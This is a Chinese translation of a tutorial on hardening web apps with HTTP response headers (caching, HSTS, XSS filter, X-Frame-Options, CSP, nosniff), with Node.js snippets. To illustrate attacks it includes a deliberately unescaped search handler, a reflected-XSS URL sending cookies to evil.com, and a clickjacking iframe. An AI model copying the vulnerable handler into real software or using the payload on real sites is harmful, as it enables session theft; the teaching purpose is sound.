原文地址:How To Secure Your Web App With HTTP Headers
原文作者:Hagay Lupesko
眾所周知,無論是簡單的小網(wǎng)頁還是復雜的單頁應用,Web 應用都是網(wǎng)絡攻擊的目標。2016 年,這種最主要的攻擊模式 —— 攻擊 web 應用,造成了大約 40% 的數(shù)據(jù)泄露。事實上,現(xiàn)在來說,了解網(wǎng)絡安全并不是錦上添花,而是 Web 開發(fā)者的必需任務,特別對于構(gòu)建面向消費者的產(chǎn)品的開發(fā)人員。
開發(fā)者可以利用 HTTP 響應頭來加強 Web 應用程序的安全性,通常只需要添加幾行代碼即可。本文將介紹 web 開發(fā)者如何利用 HTTP Headers 來構(gòu)建安全的應用。雖然本文的示例代碼是 Node.js,但基本所有主流的服務端語言都支持設置 HTTP 響應頭,并且都可以簡單地對其進行配置。
關(guān)于 HTTP Headers
技術(shù)上來說,HTTP 頭只是簡單的字段,以明文形式編碼,它是 HTTP 請求和響應消息頭的一部分。它們旨在使客戶端和服務端都能夠發(fā)送和接受有關(guān)要建立的連接、所請求的資源,以及返回的資源本身的元數(shù)據(jù)。
可以簡單地使用 cURL --head 來檢查純文本 HTTP 響應頭,例如:
$ curl --head https://www.google.com
HTTP/1.1 200 OK
Date: Thu, 05 Jan 2017 08:20:29 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=ISO-8859-1
Transfer-Encoding: chunked
Accept-Ranges: none
Vary: Accept-Encoding
…復制代碼
現(xiàn)在,數(shù)百種響應頭正在被 web 應用所使用,其中一部分由互聯(lián)網(wǎng)工程任務組(IETF)標準化。IETF 是一個開放性組織,今天我們所熟知的許多 web 標準和專利都是由他們推進的。HTTP 頭提供了一種靈活可擴展的機制,造就了現(xiàn)今的網(wǎng)絡各種豐富多變的用例。
機密資源禁用緩存
緩存是優(yōu)化客戶端-服務端架構(gòu)性能中有效的技術(shù),HTTP 也不例外,同樣廣泛利用了緩存技術(shù)。但是,在緩存的資源是保密的情況下,緩存可能導致漏洞,所以必須避免。假設一個 web 應用對含有敏感信息的網(wǎng)頁進行緩存,并且是在一臺公用的 PC 上使用,任何人可以通過訪問瀏覽器的緩存看到這個 web 應用上的敏感信息,甚至有時僅僅通過點擊瀏覽器的返回按鈕就可以看到。
IETF RFC 7234 中定義了 HTTP 緩存,指定 HTTP 客戶端(瀏覽器以及網(wǎng)絡代理)的默認行為:除非另行指定,否則始終緩存對 HTTP GET 請求的響應。雖然這樣可以使 HTTP 提升性能減少網(wǎng)絡擁塞,但如上所述,它也有可能使終端用戶個人信息被盜。好消息是,HTTP 規(guī)范還定義了一種非常簡單的方式來指示客戶端對特定響應不進行緩存,通過使用 —— 對,你猜到了 —— HTTP 響應頭。
當你準備返回敏感信息并希望禁用 HTTP 客戶端的緩存時,有三個響應頭可以返回:
- Cache-Control
從 HTTP 1.1 引入的此響應頭可能包含一個或多個指令,每個指令帶有特定的緩存語義,指示 HTTP 客戶端和代理如何處理有此響應頭注釋的響應。我推薦如下指定響應頭,cache-control: no-cache, no-store, must-revalidate。這三個指令基本上可以指示客戶端和中間代理不可使用之前緩存的響應,不可存儲響應,甚至就算響應被緩存,也必須從源服務器上重新驗證。
- Pragma: no-cache
為了向后兼容 HTTP 1.0,你還需要包含此響應頭。有部分客戶端,特別是中間代理,可能仍然沒有完全支持 HTTP 1.1,所以不能正確處理前面提到的 Cache-Control 響應頭,因此使用 Pragma: no-cache 確保較舊的客戶端不緩存你的響應。
- Expires: -1
此響應頭指定了該響應過期的時間戳。如果不指定為未來某個真實時間而指定為 -1,可以保證客戶端立即將此響應視為過期并避免緩存。
需要注意的是,禁用緩存提高安全性及保護機密資源的同時,也的確會帶來性能上的折損。所以確保僅對實際需要保密性的資源禁用緩存,而不是對服務器的任何響應禁用。想要更深入了解 web 資源緩存的最佳實踐,我推薦閱讀 Jake Archibald 的文章。
下面是 Node.js 中設置響應頭的示例代碼:
function requestHandler(req, res) {
res.setHeader('Cache-Control','no-cache,no-store,max-age=0,must-revalidate');
res.setHeader('Pragma','no-cache');
res.setHeader('Expires','-1');
}復制代碼
強制 HTTPS
今天,HTTPS 的重要性已經(jīng)得到了技術(shù)界的廣泛認可。越來越多的 web 應用配置了安全端點,并將不安全網(wǎng)路重定向到安全端點(即 HTTP 重定向至 HTTPS)。不幸的是,終端用戶還未完全理解 HTTPS 的重要性,這種缺乏理解使他們面臨著各種中間人攻擊(MitM)。普通用戶訪問到一個 web 應用時,并不會注意到正在使用的網(wǎng)絡協(xié)議是安全的(HTTPS)還是不安全的(HTTP)。甚至,當瀏覽器出現(xiàn)了證書錯誤或警告時,很多用戶會直接點擊略過警告。
與 web 應用進行交互時,通過有效的 HTTPS 連接是非常重要的:不安全的連接將會使得用戶暴露在各種攻擊之下,這可能導致 cookie 被盜甚至更糟。舉個例子,攻擊者可以在公共 Wi-Fi 網(wǎng)絡下輕易騙取網(wǎng)絡幀并提取那些不使用 HTTPS 的用戶的會話 cookie。更糟的情況是,即使用戶通過安全連接與 web 應用進行交互也可能遭受降級攻擊,這種攻擊試圖強制將連接降級到不安全的連接,從而使用戶受到中間人攻擊。
我們?nèi)绾螏椭脩舯苊膺@些攻擊,并更好地推行 HTTPS 的使用呢?使用 HTTP 嚴格傳輸安全頭(HSTS)。簡單來說,HSTS 確保與源主機間的所有通信都使用 HTTPS。RFC 6797 中說明了,HSTS 可以使 web 應用程序指示瀏覽器僅允許與源主機之間的 HTTPS 連接,將所有不安全的連接內(nèi)部重定向到安全連接,并自動將所有不安全的資源請求升級為安全請求。
HSTS 的指令如下:
- max-age=<number of seconds>
此項指示瀏覽器對此域緩存此響應頭指定的秒數(shù)。這樣可以保證長時間的加固安全。
- includeSubDomains
此項指示瀏覽器對當前域的所有子域應用 HSTS,這可以用于所有當前和未來可能的子域。
- preload
這是一個強大的指令,強制瀏覽器始終安全加載你的 web 應用程序,即使是第一次收到響應之前加載!這是通過將啟用 HSTS 預加載域的列表硬編碼到瀏覽器的代碼中實現(xiàn)的。要啟用預加載功能,你需要在 Google Chrome 團隊維護的網(wǎng)站 HSTS 預加載列表提交注冊你的域。
注意謹慎使用 preload,因為這意味著它不能輕易撤銷,并可能更新延遲數(shù)個月。雖然預加載肯定會加強應用程序的安全性,但也意味著你需要充分確信你的應用程序僅支持 HTTPS!
我建議的用法是 Strict-Transport-Security: max-age=31536000; includeSubDomains;,這樣指示了瀏覽器強制通過 HTTPS 連接到源主機并且有效期為一年。如果你對你的 app 僅處理 HTTPS 很有信心,我也推薦加上 preload 指令,當然別忘記去前面提到的預加載列表注冊你的網(wǎng)站。
以下是在 Nodes.js 中實現(xiàn) HSTS 的方法:
function requestHandler(req, res){
res.setHeader('Strict-Transport-Security','max-age=31536000; includeSubDomains; preload');
}復制代碼
啟用 XSS 過濾
在反射型跨站腳本攻擊(reflected XSS)中,攻擊者將惡意 JAVAScript 代碼注入到 HTTP 請求,注入的代碼「映射」到響應中,并由瀏覽器執(zhí)行,從而使惡意代碼在可信任的上下文中執(zhí)行,訪問諸如會話 cookie 中的潛在機密信息。不幸的是,XSS 是一個很常見的網(wǎng)絡應用攻擊,且令人驚訝地有效!
為了了解反射型 XSS 攻擊,參考以下 Node.js 代碼,渲染 mywebapp.com,模擬一個簡單的 web 應用程序,它將搜索結(jié)果以及用戶請求的搜索關(guān)鍵詞一起呈現(xiàn):
function handleRequest(req, res) {
res.writeHead(200);
// Get the search term
const parsedUrl = require('url').parse(req.url);
const searchTerm = decodeURI(parsedUrl.query);
const resultSet = search(searchTerm);
// Render the document
res.end(
"<html>" +
"<body>" +
"<p>You searched for: " + searchTerm + "</p>" +
// Search results rendering goes here…
"</body>" +
"</html>");
};復制代碼
現(xiàn)在,來考慮一下上面的 web 應用程序會如何處理在 URL 中嵌入的惡意可執(zhí)行代碼,例如:
https://mywebapp.com/search?</p><script>window.location=“http://evil.com?cookie=”+document.cookie</script>復制代碼
你可能意識到了,這個 URL 會讓瀏覽器執(zhí)行注入的腳本,并發(fā)送極有可能包含機密會話的用戶 cookies 到 evil.com。
為了保護用戶抵抗反射型 XSS 攻擊,有些瀏覽器實施了保護機制。這些保護機制嘗試通過在 HTTP 請求和響應中尋找匹配的代碼模式來辨識這些攻擊。Internet Explorer 是第一個推出這種機制的,在 2008 年的 IE 8 中引入了 XSS 過濾器的機制,而 WebKit 后來推出了 XSS 審計,現(xiàn)今在 Chrome 和 Safari 上可用(Firefox 沒有內(nèi)置類似的機制,但是用戶可以使用插件來獲得此功能)。這些保護機制并不完美,它們可能無法檢測到真正的 XSS 攻擊(漏報),在其他情況可能會阻止合法代碼(誤判)。由于后一種情況的出現(xiàn),瀏覽器允許用戶可設置禁用 XSS 過濾功能。不幸的是,這通常是一個全局設置,這會完全關(guān)閉所有瀏覽器加載的 web 應用程序的安全功能。
幸運的是,有方法可以讓 web 應用覆蓋此配置,并確保瀏覽器加載的 web 應用已打開 XSS 過濾器。即通過設定 X-XSS-Protection 響應頭實現(xiàn)。此響應頭支持 Internet Explorer(IE8 以上)、Edge、Chrome 和 Safari,指示瀏覽器打開或關(guān)閉內(nèi)置的保護機制,及覆蓋瀏覽器的本地配置。
X-XSS-Protection 指令包括:
- 1 或者 0
使用或禁用 XSS 過濾器。
- mode=block
當檢測到 XSS 攻擊時,這會指示瀏覽器不渲染整個頁面。
我建議永遠打開 XSS 過濾器以及 block 模式,以求最大化保護用戶。這樣的響應頭應該是這樣的:
X-XSS-Protection: 1; mode=block復制代碼
以下是在 Node.js 中配置此響應頭的方法:
function requestHandler(req, res){
res.setHeader('X-XSS-Protection','1;mode=block');}復制代碼
控制 iframe
iframe (正式來說,是 HTML 內(nèi)聯(lián)框架元素)是一個 DOM 元素,它允許一個 web 應用嵌套在另一個 web 應用中。這個強大的元素有部分重要的使用場景,比如在 web 應用中嵌入第三方內(nèi)容,但它也有重大的缺點,例如對 seo 不友好,對瀏覽器導航跳轉(zhuǎn)也不友好等等。
其中一個需要注意的事是它使得點擊劫持變得更加容易。點擊劫持是一種誘使用戶點擊并非他們想要點擊的目標的攻擊。要理解一個簡單的劫持實現(xiàn),參考以下 HTML,當用戶認為他們點擊可以獲得獎品時,實際上是試圖欺騙用戶購買面包機。
<html>
<body>
<button class='some-class'>Win a Prize!</button>
<iframe class='some-class' style='opacity: 0;’ src='http://buy.com?buy=toaster'></iframe>
</body>
</html>復制代碼
有許多惡意應用程序都采用了點擊劫持,例如誘導用戶點贊,在線購買商品,甚至提交機密信息。惡意 web 應用程序可以通過在其惡意應用中嵌入合法的 web 應用來利用 iframe 進行點擊劫持,這可以通過設置 opacity: 0 的 css 規(guī)則將其隱藏,并將 iframe 的點擊目標直接放置在看起來無辜的按鈕之上。點擊了這個無害按鈕的用戶會直接點擊在嵌入的 web 應用上,并不知道點擊后的后果。
阻止這種攻擊的一種有效的方法是限制你的 web 應用被框架化。在 RFC 7034 中引入的 X-Frame-Options,就是設計用來做這件事的。此響應頭指示瀏覽器對你的 web 應用是否可以被嵌入另一個網(wǎng)頁進行限制,從而阻止惡意網(wǎng)頁欺騙用戶調(diào)用你的應用程序進行各項操作。你可以使用 DENY 完全屏蔽,或者使用 ALLOW-FROM 指令將特定域列入白名單,也可以使用 SAMEORIGIN 指令將應用的源地址列入白名單。
我的建議是使用 SAMEORIGIN 指令,因為它允許 iframe 被同域的應用程序所使用,這有時是有用的。以下是響應頭的示例:
X-Frame-Options: SAMEORIGIN復制代碼
以下是在 Node.js 中設置此響應頭的示例代碼:
function requestHandler(req, res){
res.setHeader('X-Frame-Options','SAMEORIGIN');}復制代碼
指定白名單資源
如前所述,你可以通過啟用瀏覽器的 XSS 過濾器,給你的 web 應用程序增強安全性。然而請注意,這種機制是有局限性的,不是所有瀏覽器都支持(例如 Firefox 就不支持 XSS 過濾),并且依賴的模式匹配技術(shù)可以被欺騙。
對抗 XSS 和其他攻擊的另一層的保護,可以通過明確列出可信來源和操作來實現(xiàn) —— 這就是內(nèi)容安全策略(CSP)。
CSP 是一種 W3C 規(guī)范,它定義了強大的基于瀏覽器的安全機制,可以對 web 應用中的資源加載以及腳本執(zhí)行進行精細的控制。使用 CSP 可以將特定的域加入白名單進行腳本加載、AJAX 調(diào)用、圖像加載和樣式加載等操作。你可以啟用或禁用內(nèi)聯(lián)腳本或動態(tài)腳本(臭名昭著的 eval),并通過將特定域列入白名單來控制框架化。CSP 的另一個很酷的功能是它允許配置實時報告目標,以便實時監(jiān)控應用程序進行 CSP 阻止操作。
這種對資源加載和腳本執(zhí)行的明確的白名單提供了很強的安全性,在很多情況下都可以防范攻擊。例如,使用 CSP 禁止內(nèi)聯(lián)腳本,你可以防范很多反射型 XSS 攻擊,因為它們依賴于將內(nèi)聯(lián)腳本注入到 DOM。
CSP 是一個相對復雜的響應頭,它有很多種指令,在這里我不詳細展開了,可以參考 HTML5 Rocks 里一篇很棒的教程,其中提供了 CSP 的概述,我非常推薦閱讀它來學習如何在你的 web 應用中使用 CSP。
以下是一個設置 CSP 的示例代碼,它僅允許從應用程序的源域加載腳本,并阻止動態(tài)腳本的執(zhí)行(eval)以及內(nèi)嵌腳本(當然,還是 Node.js):
function requestHandler(req, res){
res.setHeader('Content-Security-Policy',"script-src 'self'");}復制代碼
防止 Content-Type 嗅探
為了使用戶體驗盡可能無縫,許多瀏覽器實現(xiàn)了一個功能叫內(nèi)容類型嗅探,或者 MIME 嗅探。這個功能使得瀏覽器可以通過「嗅探」實際 HTTP 響應的資源的內(nèi)容直接檢測到資源的類型,無視響應頭中 Content-Type 指定的資源類型。雖然這個功能在某些情況下確實是有用的,它引入了一個漏洞以及一種叫 MIME 類型混淆攻擊的攻擊手法。MIME 嗅探漏洞使攻擊者可以注入惡意資源,例如惡意腳本,偽裝成一個無害的資源,例如一張圖片。通過 MIME 嗅探,瀏覽器將忽略聲明的圖像內(nèi)容類型,它不會渲染圖片,而是執(zhí)行惡意腳本。
幸運的是,X-Content-Type-Options 響應頭緩解了這個漏洞。此響應頭在 2008 年引入 IE8,目前大多數(shù)主流瀏覽器都支持(Safari 是唯一不支持的主流瀏覽器),它指示瀏覽器在處理獲取的資源時不使用嗅探。因為 X-Content-Type-Options 僅在 「Fetch」規(guī)范中正式指定,實際的實現(xiàn)因瀏覽器而異。一部分瀏覽器(IE 和 Edge)完全阻止了 MIME 嗅探,而其他一些(Firefox)仍然會進行 MIME 嗅探,但會屏蔽掉可執(zhí)行的資源(JavaScript 和 CSS)如果聲明的內(nèi)容類型與實際的類型不一致。后者符合最新的 Fetch 規(guī)范。
X-Content-Type-Options 是一個很簡單的響應頭,它只有一個指令,nosniff。它是這樣指定的:X-Content-Type-Options: nosniff。以下是示例代碼:
function requestHandler(req, res){
res.setHeader('X-Content-Type-Options','nosniff');}復制代碼
總結(jié)
本文中,我們了解了如何利用 HTTP 響應頭來加強 web 應用的安全性,防止攻擊和減輕漏洞。
要點
- 使用 Cache-Control 禁用對機密信息的緩存
- 通過 Strict-Transport-Security 強制使用 HTTPS,并將你的域添加到 Chrome 預加載列表
- 利用 X-XSS-Protection 使你的 web 應用更加能抵抗 XSS 攻擊
- 使用 X-Frame-Options 阻止點擊劫持
- 利用 Content-Security-Policy 將特定來源與端點列入白名單
- 使用 X-Content-Type-Options 防止 MIME 嗅探攻擊
請記住,為了使 web 真正迷人,它必須是安全的。利用 HTTP 響應頭構(gòu)建更加安全的網(wǎng)頁吧!